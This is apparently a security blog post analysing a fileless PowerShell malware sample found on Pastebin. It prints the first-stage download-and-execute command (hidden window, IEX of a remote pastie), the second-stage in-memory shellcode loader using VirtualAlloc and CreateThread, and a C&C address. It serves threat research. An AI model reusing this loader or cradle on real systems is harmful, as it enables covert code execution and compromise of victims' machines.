Fileless Malicious PowerShell Sample
Pastebin.com remains one of my favourite place for hunting. I’m searching for juicy content and report finding in a Splunk dashboard:
Yesterday, I found an interesting pastie[1] with a simple Windows CMD script:
:Start powErShEll.ExE -nop -w hIddEn -c $J=nEw-objEct nEt.wEbclIEnt;$J.proxy=[NEt.WEbREquESt]::GEtSyStEmWEbProxy();$J.Proxy.CrEdEntIalS=[NEt.CrEdEntIalCachE]::DEfaultCrEdEntIalS; IEX $J.downloadStrIng('hxxps://pastebin[.]com/raw/CysKFzNM';); TIMEOUT 1100 goto Start
This first stage performs nothing else than downloading the content of another pastie (using the system-defined proxy and credentials if any). While executed, the script decodes another piece of PowerShell which is Base64 encoded and gzip’d (SHA256: eef5ec743ebcaf4a399562b0de15eeaf96c242734ec6f74066a8e9a09cbc70c5). Here is the content of the string:
function mu { Param ($ra, $uOXXl) $qi1Z = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }) .GetType('Microsoft.Win32.UnsafeNativeMethods') return $qi1Z.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices .HandleRef((New-Object IntPtr), ($qi1Z.GetMethod('GetModuleHandle')).Invoke($null, @($ra)))), $uOXXl)) } function k9no_ { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $dn, [Parameter(Position = 1)] [Type] $xm = [Void] ) $pnE = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType' , 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $pnE.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $dn).SetImplementationFlags('Runtime, Managed') $pnE.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $xm, $dn).SetImplementationFlags('Runtime, Managed') return $pnE.CreateType() } [Byte[]]$iJF = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3 (...Redacted...) aALZyF//1Ys2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1QHDKcZ17sM=“) $b0Z = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll VirtualAlloc), (k9no_ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $iJF.Length,0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($iJF, 0, $b0Z, $iJF.length) $ljfW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll CreateThread), (k9no_ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$b0Z,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll WaitForSingleObject), (k9no_ @([IntPtr], [Int32]))).Invoke($ljfW,0xffffffff) | Out-Null
This script is very powerful because it uses the .Net API to call Windows API function in memory. To achieve this, it makes use of assemblies. Microsoft defines[2] an assembly as "a collection of types and resources that forms a logical unit of functionality. All types in the .NET Framework must exist in assemblies; the common language runtime does not support types outside of assemblies. Each time you create a Microsoft Windows® Application, Windows Service, Class Library, or other application with Visual Basic .NET, you're building a single assembly. Each assembly is stored as an .exe or .dll file".
The first function mu() uses GetProcAddress() to return the location of the function in memory. Example:
PS C:\Users\xavie> ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}) .GetType('Microsoft.Win32.UnsafeNativeMethods').GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qi1Z.GetMethod('GetModuleHandle')).Invoke($null, @("kernel32.dll")))), "VirtualAlloc")) 140723845779104
Now that we have the address of our system call, the second function k9no_() is used with GetDelegateForFunctionPointer[3] to get a pointer to the function. So, we understand now what does the PowerShell script:
- Decode the Base64 encoded payload
- Allocate some memory
- Copy the payload in the allocated memory space
- Create a new threat
- Execute the payload
The payload is the Base64 encoded strings (SHA256: 30cac876f585ffa1912e6132dd68951a44e266d6711dbbd1208b887203f742f3). It contacts a C&C server located in Israel (213.184.123.143) on port port 2712. The traffic is just garbage and I was not able to find useful information in the captured traffic.
[1] https://pastebin.com/Fj2HvFf3
[2] https://msdn.microsoft.com/en-us/library/ms973231.aspx
[3] https://msdn.microsoft.com/en-us/library/zdx6dyyh(v=vs.95).aspx
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
Comments